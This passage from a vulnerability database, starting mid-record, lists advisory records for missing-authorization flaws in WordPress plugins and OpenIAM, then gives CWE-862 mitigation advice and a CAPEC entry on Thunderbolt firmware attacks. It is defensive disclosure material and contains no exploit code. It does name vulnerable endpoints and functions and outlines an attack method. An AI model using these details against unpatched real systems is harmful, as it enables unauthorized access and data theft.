"id": "GHSA-7h7f-98xc-35q3",
"modified": "2026-05-12T12:32:16Z",
"published": "2026-05-12T12:32:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45212"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wp-asset-clean-up/vulnerability/wordpress-asset-cleanup-page-speed-booster-plugin-1-4-0-3-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7HGC-CJWG-52R6
Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2022-07-11 00:00OpenIAM before 4.2.0.3 does not verify if a user has permissions to perform /webconsole/rest/api/* administrative actions.
{
"affected": [],
"aliases": [
"CVE-2020-13422"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-06T21:15:00Z",
"severity": "HIGH"
},
"details": "OpenIAM before 4.2.0.3 does not verify if a user has permissions to perform /webconsole/rest/api/* administrative actions.",
"id": "GHSA-7hgc-cjwg-52r6",
"modified": "2022-07-11T00:00:24Z",
"published": "2022-05-24T17:46:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13422"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/862.html"
},
{
"type": "WEB",
"url": "https://github.com/Accenture/AARO-Bugs/blob/master/AARO-CVE-List.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7HHW-R4MW-8JM8
Vulnerability from github – Published: 2026-06-26 15:32 – Updated: 2026-06-26 15:32Unauthenticated Broken Access Control in Newsletters <= 4.13 versions.
{
"affected": [],
"aliases": [
"CVE-2026-54840"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-26T15:16:41Z",
"severity": "HIGH"
},
"details": "Unauthenticated Broken Access Control in Newsletters \u003c= 4.13 versions.",
"id": "GHSA-7hhw-r4mw-8jm8",
"modified": "2026-06-26T15:32:15Z",
"published": "2026-06-26T15:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54840"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/newsletters-lite/vulnerability/wordpress-newsletters-plugin-4-13-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7HJ5-PCGR-FRG2
Vulnerability from github – Published: 2023-12-07 03:30 – Updated: 2023-12-07 03:30The System Dashboard plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the sd_db_specs() function hooked via an AJAX action in all versions up to, and including, 2.8.7. This makes it possible for authenticated attackers, with subscriber-level access and above, to retrieve data key specs.
{
"affected": [],
"aliases": [
"CVE-2023-5714"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-07T02:15:07Z",
"severity": "MODERATE"
},
"details": "The System Dashboard plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the sd_db_specs() function hooked via an AJAX action in all versions up to, and including, 2.8.7. This makes it possible for authenticated attackers, with subscriber-level access and above, to retrieve data key specs.",
"id": "GHSA-7hj5-pcgr-frg2",
"modified": "2023-12-07T03:30:32Z",
"published": "2023-12-07T03:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5714"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/system-dashboard/tags/2.8.7/admin/class-system-dashboard-admin.php#L2942"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/system-dashboard/tags/2.8.8/admin/class-system-dashboard-admin.php#L2949"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/53b3ac83-847d-4bd0-a79b-531af266e1b4?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.